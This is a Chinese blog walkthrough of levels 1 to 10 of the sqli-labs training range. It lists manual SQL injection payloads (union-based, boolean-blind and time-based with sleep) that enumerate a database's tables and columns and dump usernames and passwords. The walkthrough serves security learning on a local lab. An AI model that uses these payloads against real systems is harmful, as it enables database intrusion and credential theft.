sqli-labs靶场手注通关讲解(1~10)

Less-1(第一关)

Please input the ID as parameter with numeric value

页面提示输入数字值的ID作为参数

  输入?id=1和id=2 可以看到回显不一样,说明我们的语句到数据库中执行了

http://127.0.0.1/bc/sqli-labs-master/sqli-labs-master/Less-1/?id=1
http://127.0.0.1/bc/sqli-labs-master/sqli-labs-master/Less-1/?id=2

然后判断是否是拼接,是字符型还是数字型,从回显可以看出是字符型注入(这里为了方便理解,我把执行的sql语句输出出来了)

http://127.0.0.1/bc/sqli-labs-master/sqli-labs-master/Less-1/?id=1'

http://127.0.0.1/bc/sqli-labs-master/sqli-labs-master/Less-1/?id=1'-- +

union联合注入 (将两个sql语句一起查询)

1、判断后台数据库表中的列数,3列没报错,4列报错了,说明这个表格列数为3

Less-1/?id=1' order by 3 -- +

 Less-1/?id=1' order by 4 -- +

 2、通过union联合查询爆出页面中显示的字段位置(1前面的负号是用来报错的,前面的报错才会显示后面union select的查询结果)

 Less-1/?id=-1' union select 1,2,3 -- +

3、查看数据库的版本和数据库的名称 

 Less-1/?id=-1' union select 1,version(),database() -- +

 4、查看该数据库的表

Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- +

 5、查看users表里面的列名

Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" -- +

6、查看表里面的字段内容(这里数据库里面的flag值是我自己加的)

http://127.0.0.1/bc/sqli-labs-master/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(id,0x3a,username,0x3a,password) from users-- +

代码汇总 

http://127.0.0.1/bc/sqli-labs-master/sqli-labs-master/Less-1/?id=1'-- + 判断是否拼接形成闭合

Less-1/?id=1' order by 3 -- +             爆列数

 Less-1/?id=-1' union select 1,2,3 -- +   查看显示位

 Less-1/?id=-1' union select 1,version(),database() -- +    爆数据库版本和名字

Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- +         爆表名

Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" -- +             爆列名

http://127.0.0.1/bc/sqli-labs-master/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(id,0x3a,username,0x3a,password) from users-- +  爆字段内容



Less-2(第二关)

前四关的思路是一样的,只是形成闭合方式是不一样的,这关测试发现是数字型注入

http://127.0.0.1/bc/sqli-labs-master/sqli-labs-master/Less-1/?id=1’

语法

http://127.0.0.1/bc/sqli-labs-master/sqli-labs-master/Less-1/?id=1 -- + 判断是否拼接形成闭合

Less-2/?id=1 order by 3 -- +             爆列数

Less-2/?id=-1 union select 1,2,3 -- +   查看显示位

Less-2/?id=-1 union select 1,version(),database() -- +    爆数据库版本和名字

Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- +         爆表名

Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" -- +             爆列名

Less-2/?id=-1 union select 1,2,group_concat(id,0x3a,username,0x3a,password) from users-- +  爆字段内容



Less-3(第三关) 

和前两关的思路是一样的,经过测试发现是单引号加括号闭合

http://127.0.0.1/bc/sqli-labs-master/sqli-labs-master/Less-1/?id=1’)

 

语句 

http://127.0.0.1/bc/sqli-labs-master/sqli-labs-master/Less-1/?id=1') -- + 判断是否拼接形成闭合

Less-3/?id=1') order by 3 -- +             爆列数

Less-3/?id=-1') union select 1,2,3 -- +   查看显示位

Less-3/?id=-1') union select 1,version(),database() -- +    爆数据库版本和名字

Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- +         爆表名

Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" -- +             爆列名

Less-3/?id=-1') union select 1,2,group_concat(id,0x3a,username,0x3a,password) from users-- +  爆字段内容



Less-4(第四关)

和前三关的思路是一样的,经过测试发现是双引号加括号闭合

http://127.0.0.1/bc/sqli-labs-master/sqli-labs-master/Less-4/?id=1")

语句 

http://127.0.0.1/bc/sqli-labs-master/sqli-labs-master/Less-1/?id=1') -- + 判断是否拼接形成闭合

Less-4/?id=1") order by 3 -- +             爆列数

Less-4/?id=-1") union select 1,2,3 -- +   查看显示位

Less-4/?id=-1") union select 1,version(),database() -- +    爆数据库版本和名字

Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- +         爆表名

Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" -- +             爆列名

Less-4/?id=-1") union select 1,2,group_concat(id,0x3a,username,0x3a,password) from users-- +  爆字段内容



 Less-5(第五关)

第五关根经过测试发现是单引号闭合,但是后面的思路和前面四关不一样了,在爆出列数之前都是可以的,但是在查看回显位的时候发现无法回显,而union联合注入是必须要有回显的,所以这一关我们无法再使用union联合注入了,要用布尔盲注,虽然布尔盲注并思路不是特别难,但是是比较费时间的

布尔盲注 

Less-5/?id=1'and length (database())=8--+

#等于号可以换成小于号或者大于号,主要是判断数据库名字的长度。
#lenfth()是获取当前数据库名的长度。如果数据库是hello那么length()就是5



Less-5/?id=1'and ascii(substr((database()),1,1))=115--+
#substr用来截取字符串,布尔盲注只能一个一个字符去判断。
#ascii()是将截取的字符转换成对应的ascii码。
 
 
Less-5/?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
#判断全部表名字的字符长度


Less-5/?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
#逐一判断表名字的字符
 
Less-5/id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
#判断所有字段名的长度

Less-5/?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
#逐一判断字段的名
 
 
Less-5/?id=1' and length((select group_concat(id,username,password) from users))>191--+
#判断字段内容长度


Less-5/?id=1' and ascii(substr((select group_concat(id,username,password) from users),1,1))>49--+
#挨个看内容
 
 
 

 Less-6(第六关)

第六关和第五关思路是一样的,唯一区别是第六关是双引号闭合

http://127.0.0.1/bc/sqli-labs-master/sqli-labs-master/Less-6/?id=1"

 

语句 

Less-6/?id=1" and length (database())=8--+

Less-6/?id=1"and ascii(substr((database()),1,1))=115--+

 
Less-6/?id=1" and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+


Less-6/?id=1" and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

 
Less-6/id=1" and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+


Less-6/?id=1" and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

 
Less-6/?id=1" and length((select group_concat(id,username,password) from users))>191--+



Less-6/?id=1" and ascii(substr((select group_concat(id,username,password) from users),1,1))>49--+

 
 
 

Less-7(第七关)

第七关是单引号加双括号进行拼接。当输入id=1'-- +时报错,这时候再输入id=1')-- +发现还是报错,然后再试一下输入id=1'))-- +,发现页面显示正常。这个时候就已经判断出闭合方式了,然后思路和注入手法都和第五关、第六关一样,使用布尔盲注就行了。

http://127.0.0.1/bc/sqli-labs-master/sqli-labs-master/Less-7/?id=1'))-- +

 语句

Less-7/?id=1')) and length (database())=8--+

Less-7/?id=1')) and ascii(substr((database()),1,1))=115--+

 
Less-7/?id=1')) and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+


Less-7/?id=1')) and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

 
Less-7/id=1')) and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+


Less-7/?id=1')) and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

 
Less-7/?id=1')) and length((select group_concat(id,username,password) from users))>191--+
#判断字段内容长度


Less-7/?id=1')) and ascii(substr((select group_concat(id,username,password) from users),1,1))>49--+

Less-8(第八关)

 第八关是和第五关一样的单引号闭合,但是第八关没有报错信息,不过有you are in.....作为参照。思路是一样的。

Less-8/?id=1' and length (database())=8--+

Less-8/?id=1' and ascii(substr((database()),1,1))=115--+

 
Less-8/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+


Less-8/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

 
Less-8/id=1' and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+


Less-8/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

 
Less-8/?id=1' and length((select group_concat(id,username,password) from users))>191--+
#判断字段内容长度


Less-8/?id=1' and ascii(substr((select group_concat(id,username,password) from users),1,1))>49--+

 Less-9(第九关)

第九关测试后发现没有回显也没有对错误或者正确的判断,没有回显就说明无法使用union联合注入,没有正确或者错误的显示说明布尔盲注也使用不了,无论输入什么页面都是没有变化的,这个时候我们就可以使用时间注入

这里介绍两个函数

if、sleep

Less-9/?id=1' and if(1=1,sleep(5),1)--+
如果1=1这个位置为真,则执行sleep(5)页面延迟5秒,如果为假则执行1页面不会延迟

 经过测试页面延迟发现第9关是单引号闭合

当id=1时页面没有延迟

Less-9/?id=1 and if(1=1,sleep(5),1)--+

 当id=1'时页面有延迟

Less-9/?id=1' and if(1=1,sleep(5),1)--+

这一步理解后就没什么东西了,还是一个一个字母去爆出来了

 语句

Less-9/?id=1' and if(1=1,sleep(5),1)--+
判断闭合构造

Less-9/?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
 
Less-9/?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库的字符


Less-9/?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名的长度

 
Less-9/?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名

Less-9/?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度

 
Less-9/?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。


Less-9/?id=1' and if(length((select group_concat(id,username,password) from users))>191,sleep(5),1)--+
判断字段内容长度
 
 
Less-9/?id=1' and if(ascii(substr((select group_concat(id,username,password) from users),1,1))>49,sleep(5),1)--+
逐一检测内容。

Less-10(第十关)

第10关和第9关思路是一样的,只是闭合的方式换成了双引号

/Less-10/?id=1" and if(1=1,sleep(5),1)--+

语句 

Less-10/?id=1" and if(1=1,sleep(5),1)--+
判断闭合构造

Less-10/?id=1" and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
 
Less-10/?id=1" and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库的字符


Less-10/?id=1" and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名的长度

 
Less-10/?id=1" and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名

Less-10/?id=1" and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度

 
Less-10/?id=1" and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。


Less-10/?id=1" and if(length((select group_concat(id,username,password) from users))>191,sleep(5),1)--+
判断字段内容长度
 
 
Less-10/?id=1" and if(ascii(substr((select group_concat(id,username,password) from users),1,1))>49,sleep(5),1)--+
逐一检测内容。
  • 29
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值